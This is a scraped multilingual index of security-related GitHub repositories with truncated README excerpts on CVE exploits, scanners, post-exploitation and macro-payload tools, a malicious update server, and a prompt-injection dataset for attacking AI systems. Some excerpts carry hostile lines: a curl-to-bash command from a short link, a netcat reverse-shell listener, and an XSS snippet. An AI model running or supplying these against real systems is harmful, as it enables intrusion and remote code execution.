r2ai

R2AI - Augmented reversing with LLM for radare2 ╭─────────────────────────────────╮ │ , . . , │ ╭──╮ │ : \ \ |: \ : | │ │ │ │ | |/ || , || : | │ │ O O | : \ \ . || : || | │ │ │╷ │ | |\ :||| || | │ │ ││ │ || : |||| │ │ ─╯│ ╰─────────────────────────────────╯ ╰───╯ Components This repository...

cve-2023-3519-citrix-scanner

cve-2023-3519-citrix-scanner 이 스크립트는 CVE-2023-3519를 위한 기본적인 Citrix 스캐너입니다. 우리는 HTTP 헤더를 확인하여 취약한 Citrix Gateway/ADC를 식별하려고 합니다. 작동 방식 이 취약점을 분석하는 동안 우리와 CERT-Verbund의 동료들은 패치된 시스템에 동일한 HTTP 헤더 Last-Modified 타임스탬프가 있다는 것을 발견했습니다. 리버스 프록시와 많이 사용자 정의된 프론트 페이지는 결과를 변경할 수 있다는 점에 유의하세요. 이 경우 우리는 타임스탬프가...

PMAT-labs

PMAT-labs 🔬 Добро пожаловать в лабораторные работы курса Practical Malware Analysis & Triage. !Release Versionimg-version-badgerelease !Course Linkcoursecourse-link !EULAimg-license-badgeeula 🔴 ПРЕДУПРЕЖДЕНИЕ 🔴 Внимательно прочитайте это перед продолжением. Этот репозиторий содержит живые образцы...

ssh-mitm

SSH-MITM — аудит SSH стал проще Интерактивный инструмент перехвата SSH для авторизованных аудитов безопасности. Перехватывайте сеансы, отслеживайте трафик в реальном времени, внедряйте команды и управляйте передачей файлов — всё в реальном времени. !Follow me on...

ssh-mitm

SSH-MITM - ssh audits made simple An interactive SSH interception tool for authorized security audits. Intercept sessions, monitor live traffic, inject commands, and manipulate file transfers — all in real time. !Follow me on...

CVE-2023-40127

В этом репозитории нет README...

CVE-2024-50488

CVE-2024-50488 Token Login history.pushState'', '', '/'; document.forms0.submit; 응답 "status":"success","message":"Successfully regenerated token!","tokenurl":"http://kubernetes.docker.internal?token=1c8dc9406bc444d1f5cea37fae130f92"...

CVE-2017-7184

이 저장소에는 README가 없습니다...

CVE-2021-32158

..| XSStoCommandInjection1 |.. 설명 : Webmin의 업로드 및 다운로드 기능을 통해 반사형 교차 사이트 스크립팅XSS 공격을 악용하여 명령 주입을 수행합니다. 테스트된 버전 : Webmin 1.973 GitHub's latest version 07/03/2021 공격 유형 : 원격 영향 : 명령 실행 eXploit's C0de POC : 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin is a web-based system administration tool f...

loki-parse

loki-parse loki-bot악성코드과 관련된, 손상된 호스트와 C2 서버 간의 네트워크 트래픽을 탐지하고 파싱하는 Python 스크립트입니다. 이 스크립트는 C2로 유출되는 데이터가 무엇인지, 봇 추적 등을 알고 싶어하는 DFIR 분석가와 보안 연구자에게 유용할 수 있습니다. 이 스크립트는 스위치 없이 네트워크에서 직접 스니핑하거나--pcap $pcapfile 사용 네트워크 트래픽의 PCAP을 읽을 수 있습니다. 스크립트가 loki-bot 관련 네트워크 트래픽을 탐지하면 패킷에 포함된 데이터를 JSON 형식으로 화면에...

detections

detections 이 저장소는 사용자 환경에서 악성 행위를 탐지하는 데 유용할 수 있는 정보를 모아 둔 저장소입니다. 이 정보는 완전하지 않으며, 사용에 따른 위험은 본인이 감수하시기 바랍니다결과를 검증하세요!...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - 취약한 JS2PY에서의 원격 코드 실행 사용법: python3 exploit.py...

CVE-2021-3129

CVE-2021-3129 Laravel отладка RCE Способ применения Выполните docker-compse up -d для запуска среды После перехода на порт 8888 нажмите generate key на главной странице, чтобы воспроизвести уязвимость Несколько замечаний о среде Docker: Скопируйте .env.example в .env — это включит режим отладки...

datasploit

Обзор инструмента: Выполняет OSINT-разведку по домену / email / имени пользователя / телефону и находит информацию из разных источников. Коррелирует и объединяет результаты, отображая их в консолидированном виде. Пытается найти учётные данные, API-ключи, токены, поддомены, историю домена,...

SimpleRemoter

SimpleRemoter 简体中文 | 繁體中文 | English ⚠️ 유지보수 중단 및 법적 고지 !CAUTION 이 프로젝트는 더 이상 유지보수되지 않습니다. 사용에 따른 책임은 사용자 본인에게 있습니다. ⚖️ 규정 준수 알림 법적 용도로만 사용: 무단 원격 접속은 엄격히 금지됩니다. 모든 현지 법률을 준수하십시오. 명시적 동의: 사용 전에 반드시 기기 소유자의 명시적 승인을 받아야 합니다. 보안 위험: 보안 패치가 제공되지 않습니다. 계속 사용하면 취약점에 노출될 수 있습니다. !WARNING 중요 법적 고지 본 소프트웨어는...

EDR-Telemetry

EDR Telemetry 📖 소개 EDR 제품 및 Sysmon과 같은 엔드포인트 에이전트의 텔레메트리 기능에 대한 종합적인 비교 자료입니다. 이 프로젝트는 보안 실무자가 텔레메트리 기능을 평가할 수 있도록 지원하며, 벤더의 투명성을 높이는 데 기여합니다. 🌐 전체 비교와 분석은 웹사이트를 방문하세요. 📝 이 프로젝트에 대한 자세한 내용은 최초 릴리스 블로그 게시물에서 확인하세요. 🎯 주요 기능 여러 EDR 솔루션에 걸친 종합적인 텔레메트리 비교 기능 평가를 위한 세부 점수 산정 시스템 최신 기능을 반영한 정기 업데이트 커뮤니티...

snort3

Snort++ Snort 3는 차세대 Snort IPSIntrusion Prevention System입니다. 이 파일은 Snort++가 제공하는 기능을 보여주고 다운로드에서 데모까지의 단계를 안내합니다. Snort에 익숙하지 않다면 먼저 Snort 문서를 살펴보시기 바랍니다. 다음 주제를 다룰 것입니다: 개요 의존성 다운로드 Snort 빌드 Snort 실행 퍼즈 테스트 문서 꿀꿀 개요 이 버전의 Snort++는 아래에 표시된 경우를 제외하고 모든 Snort 2.X 기능과 기본 버전의 Snort에 대한 버그 수정뿐만 아니라 새...

linux-4.19.72_CVE-2019-19447

В этом репозитории нет README...

CVE-2024-24684

В этом репозитории нет README...

CrackAVFee

CVE 2022 3368 소프트웨어 업데이트의 취약점 발견자: @Wh04m1001 - @pxcs https://github.com/Wh04m1001/CVE-2022-3368 교육 목적으로만 사용하세요!...

CVE-2025-24893-PoC

Отказ от ответственности: Уязвимость и шаги по ее воспроизведению, описанные в данной статье, предназначены исключительно для исследовательских и образовательных целей в области кибербезопасности. Никому не разрешается использовать информацию, предоставленную в этой статье, для незаконных целей и...

bordair-multimodal

Multimodal Prompt Injection Dataset 516,588 размеченных образцов 251,782 атакующих + 251,576 безвредных, плюс валидационный раздел из 13,230 образцов реальных данных в пяти версиях набора данных плюс внешние интегрированные наборы данных; охватываются кросс-модальные, многоходовые, состязательные...

mose

MOSE Властелин Серверов Авторские права 2020 National Technology & Engineering Solutions of Sandia, LLC NTESS. Согласно условиям контракта DE-NA0003525 с NTESS, правительство США сохраняет определенные права на это программное обеспечение MOSE — это инструмент пост-эксплуатации, который помогает...

mose

MOSE Master Of SErvers Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC NTESS. Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government retains certain rights in this software MOSE is a post-exploitation tool that helps security professionals leverage...

cmsPoc

Внимание Проект перерабатывается: cmsPoc 2.0 Примечание: библиотека эксплойтов для версии 2.0 еще не обновлена, соответствующие интерфейсы отсутствуют, поэтому вызвать их невозможно. Если необходимо использовать, рекомендуется сначала использовать версию 1.0. cmsPoc 1.0 Требования python2.7...

Web-Cache-Vulnerability-Scanner

Web Cache Vulnerability Scanner WCVS — это быстрый и многофункциональный CLI-сканер для отравления веб-кэша и обмана веб-кэша, разработанный компанией Hackmanit и Максимилианом Хильдебрандом. Сканер поддерживает множество различных техник отравления веб-кэша и обмана веб-кэша, включает краулер дл...

ipxe

iPXE 네트워크 부트로더 iPXE는 선도적인 오픈 소스 네트워크 부트 펌웨어입니다. 다음과 같은 추가 기능으로 강화된 완전한 PXE 구현을 제공합니다: HTTP 또는 HTTPS를 통한 웹 서버 부팅, iSCSI, FCoE 또는 AoE SAN 부팅, 스크립트를 통한 부팅 프로세스 제어, 대화형 양식 및 메뉴 생성. iPXE를 사용하여 네트워크 카드의 기존 PXE ROM을 교체하거나, 리플래싱의 번거로움 없이 iPXE를 체인로드하여 iPXE 기능을 얻을 수 있습니다. iPXE는 GNU GPL 일부는 GPL 호환 라이선스 하에...

Openbsd-Privilege-Escalation

Openbsd-Privilege-Escalation OpenBSD 시스템에서 권한을 상승시키는 과정을 자동화하는 스크립트입니다. CVE-2019-19520 xlock 바이너리를 악용하여 sgid를 획득하고, CVE-2019-19522 auth 그룹의 권한을 악용하여 Skey 또는 Yubikey에 키를 추가하여 root 사용자로 권한을 상승시킵니다. C 코드는 원본 PoC를 거의 그대로 복사한 것입니다: https://www.openwall.com/lists/oss-security/2019/12/04/5 CVE-2019-1952...

CVE-2024-6387

CVE-2024-6387 проверьте, присутствует ли CVE-2024-6387 на вашем сервере, с помощью следующего однострочного bash-скрипта: curl -fsSL https://dub.sh/cve-2024-6387-CN |bash...

CVE-2018-20062

CVE-2018-20062 thinkphp 5.0.23 vulhub thinkphp 취약점에 적용됩니다. 초보라서 천천히 최적화할 예정입니다. 고수님들 너그럽게 봐주세요...

CVE-2016-0846-PoC

CVE-2016-0846-PoC...

Linux_hardening_and_security

Linuxhardeningandsecurity...

nmlinux

NMLinux · v1.7.14 Linux와 macOS를 위한 통합 네트워크 툴킷 — 점검하고, 연결하고, 진단하세요. NMLinux는 29개의 네트워크 모듈을 하나의 창에 모아 놓은 단일 통합 GUI입니다: 인터페이스 모니터링, Wi-Fi, DNS, SSH 터미널, 방화벽 뷰어, 토폴로지 맵, traceroute 등. Python과 PySide6Qt 6로 처음부터 직접 제작했으며, 8개의 인터페이스 언어를 지원하고 표준 시스템 도구 외에 외부 의존성이 없습니다. !NOTE NMLinux는 Linux 시스템...

ParamFinder

ParamFinder Caido에서 바로 숨은 파라미터를 발견하세요! 설치 커뮤니티 스토어를 통한 설치 권장 1. Caido에서 Plugins 페이지로 이동합니다. 2. 커뮤니티 스토어로 이동합니다. 3. ParamFinder를 검색합니다. 4. Install을 클릭합니다. 5. 완료! 🎉 수동 설치 1. 릴리스 페이지로 이동합니다. 2. 최신 pluginpackage.zip을 다운로드합니다. 3. Caido에서 Plugins 페이지로 이동합니다. 4. 'Install Package'를 클릭하고 다운로드한...

Mythic-Macro-Generator

Mythic-Macro-Generator Скрипт на Python3 для генерации макросов MS Office для запуска полезных нагрузок Mythic JXA. Этот скрипт генерирует макрос Office, который использует osascript для загрузки и выполнения полезной нагрузки Mythic JXA .js. Шаги: 1. Настройте сервер Mythic C2 и создайте полезну...

giskard-oss

에이전트 시스템을 위한 평가Evals, 레드 팀Red Teaming 및 테스트 생성 모듈형, 경량, 동적 및 Async 우선 문서 • 웹사이트 • 커뮤니티 !IMPORTANT Giskard v3 는 AI 에이전트의 동적 다중 턴 테스트를 위해 새롭게 재작성된 버전입니다. 이번 릴리스는 효율성을 높이기 위해 무거운 의존성을 제거하면서, 더 강력한 AI 취약점 스캐너와 향상된 RAG 평가를 도입했습니다. 두 기능 모두 이제 giskard-scan에 기본 내장되어 v2에 대한 의존성이 없습니다. 테이블 형식/ML 모델 을 위한 레거...

DependencyCheck

Dependency-Check Dependency-Check는 프로젝트의 종속성 내에 포함된 공개적으로 공개된 취약점을 탐지하려는 소프트웨어 구성 분석SCA 도구입니다. 이는 주어진 종속성에 대한 공통 플랫폼 열거CPE 식별자가 있는지 확인하여 수행됩니다. 발견되면 관련 CVE 항목에 연결되는 보고서를 생성합니다. 문서 및 프로덕션 바이너리 릴리스 링크는 github 페이지에서 찾을 수 있습니다. 또한 아키텍처 및 dependency-check 확장 방법에 대한 자세한 정보는 wiki에서 찾을 수 있습니다. 공지 이 제품은 N...

Safenet_SAC_CVE-2021-42056

Safenet Authentication Client 권한 상승 CVE-2021-42056 Thales 웹사이트 1에 따르면, SafeNet Authentication Client는 eTokens, SafeNet IDPrime 스마트 카드, USB 및 소프트웨어 기반 장치를 포함한 Thales의 광범위한 SafeNet 인증서 기반 인증기 포트폴리오를 관리하는 미들웨어 클라이언트입니다. 여러 파일에 잘못된 권한이 설정되어 루트 사용자로 파일을 덮어쓸 수 있을 뿐만 아니라 권한 상승도 가능합니다여러 단계 필요. 세부 정보...

CVE-2020-25867

CVE-2020-25867 : SoPlanning 공유키 우회 정보 취약한 버전 : 1.46.01 수정된 버전 : 1.47 이상 CVE : CVE-2020-25867 타임라인 26/06/2020 : 이 취약점 보고서가 공급업체에 전송됨 21/07/2020 : 취약점이 수정됨 위험 공유키 시스템은 PHP 타입 저글링 공격에 취약하며, 공격자가 공유키를 모르고도 캘린더의 내용에 접근할 수 있습니다. 요구사항 취약해지려면 캘린더 공유키가 활성화되어 있어야 합니다. 이 공유가 활성화되면, 사용자는 공유키를 사용하여 인증 없이 캘린더에...

packages_providers_MediaProvider_AOSP10_r33_CVE-2021-0340

이 저장소에는 README가 없습니다...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 명령 삽입command injection. pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. 참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다. PoC HTTP 서버 시작 python3 -m http.server 80 netcat 리스너 시작 nc -nlvp 4444 CURL로 요청...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 Docker를 이용한 POC 설정 httpd.conf 파일을 사용자 정의하려면, 섹션의 251 줄을 Require all denied에서 Require all granted로 변경하십시오. AllowOverride none Require all granted 프로젝트에 Dockerfile 생성 FROM httpd:2.4.49 COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf 그런 다음, Docker 이미지를 빌드하고 실행하기 위해...

bouvet

Bouvet Изолированные песочницы для выполнения кода для AI-агентов О проекте • Как это работает • MCP-инструменты • Документация Что такое Bouvet? Bouvet бу-ве — это MCP-сервер, который создает безопасные изолированные песочницы для выполнения кода AI-агентами. Когда AI-агенту нужно запустить...

Linux-for-a-Pentester

🐧 Linux для пентестера 💀 "Теория — это здорово, но магия происходит в командной оболочке." Этот репозиторий представляет собой тщательно подобранную коллекцию заметок по командам Linux, составленную на основе реальных лабораторных работ, CTF и практических занятий. Никакой лишней информации, толь...

Dorkwright

Dorkwright — инструмент для Google доркинга Dorkwright — это мощная утилита для Google доркинга на Python, которая автоматизирует извлечение ссылок на файлы из результатов поиска Google и при необходимости загружает их. Она использует Playwright для автоматизации браузера и включает обработку...

cve-2019-1458_POC

CVE-2019-1458: '인더와일드 보고서'에서 POC까지 소개 12월에 Kaspersky는 야생에서 사용된 0day 익스플로잇1에 관한 블로그 포스트를 게시했습니다. 그들의 분석에는 익스플로잇이 어떻게 동작하는지 설명되어 있었지만 POC가 포함되어 있지 않았기 때문에 제 관심을 끌었습니다. 그래서 저는 Kaspersky의 블로그 포스트와 패치 분석을 기반으로 이 취약점에 대한 POC를 작성해 보기로 결정했습니다. 이 포스트는 그 과정을 다룹니다. 정보 수집: 가장 먼저 이 취약점에 대해 가능한 한 많은 정보를 수집했습니다...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 을 이용한 원격 코드 실행으로 Spring Cloud 서비스를 공격합니다. 면책사항: 이 프로그램은 교육 목적으로만 제공됩니다. 작성자는 이 프로그램 사용에 대한 책임을 지지 않습니다. 사용에 따른 모든 위험은 사용자 본인에게 있습니다. 사용법 ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIONS Application Options: -u, --target-url= Target/Host url where 'Spring Cloud' is...

HoneyWire

HoneyWire 📋 Содержание Обзор Демонстрация Универсальный стандарт событий Возможности Архитектура Краткое руководство по началу работы Замечания по безопасности Технологический стек Дорожная карта и разработка Версионирование и справочник API Обзор HoneyWire — это легковесный распределённый...

sandbox

Concave AI サンドボックス AIコードを安全・高速・信頼せずに実行 Firecracker マイクロVM をベースとした、セルフホスト可能なコード実行サンドボックスプラットフォームです。スナップショットベースのウォームプーリングにより、200ms未満の起動時間を実現します。 概要 Concave は、信頼できないコードを実行するための、安全で隔離されたコード実行環境を提供します。Firecracker マイクロVM、gRPC オーケストレーション、最新のインフラツールを使用して構築されています。 ゴールデンスナップショットによる高速なVMプロビジョニング...

sh4d0wup

sh4d0wup % docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h Usage: sh4d0wup OPTIONS Commands: bait Start a malicious update server front Bind a http/https server but forward everything unmodified infect High level tampering, inject additional commands into a package tamper Low level tampering,...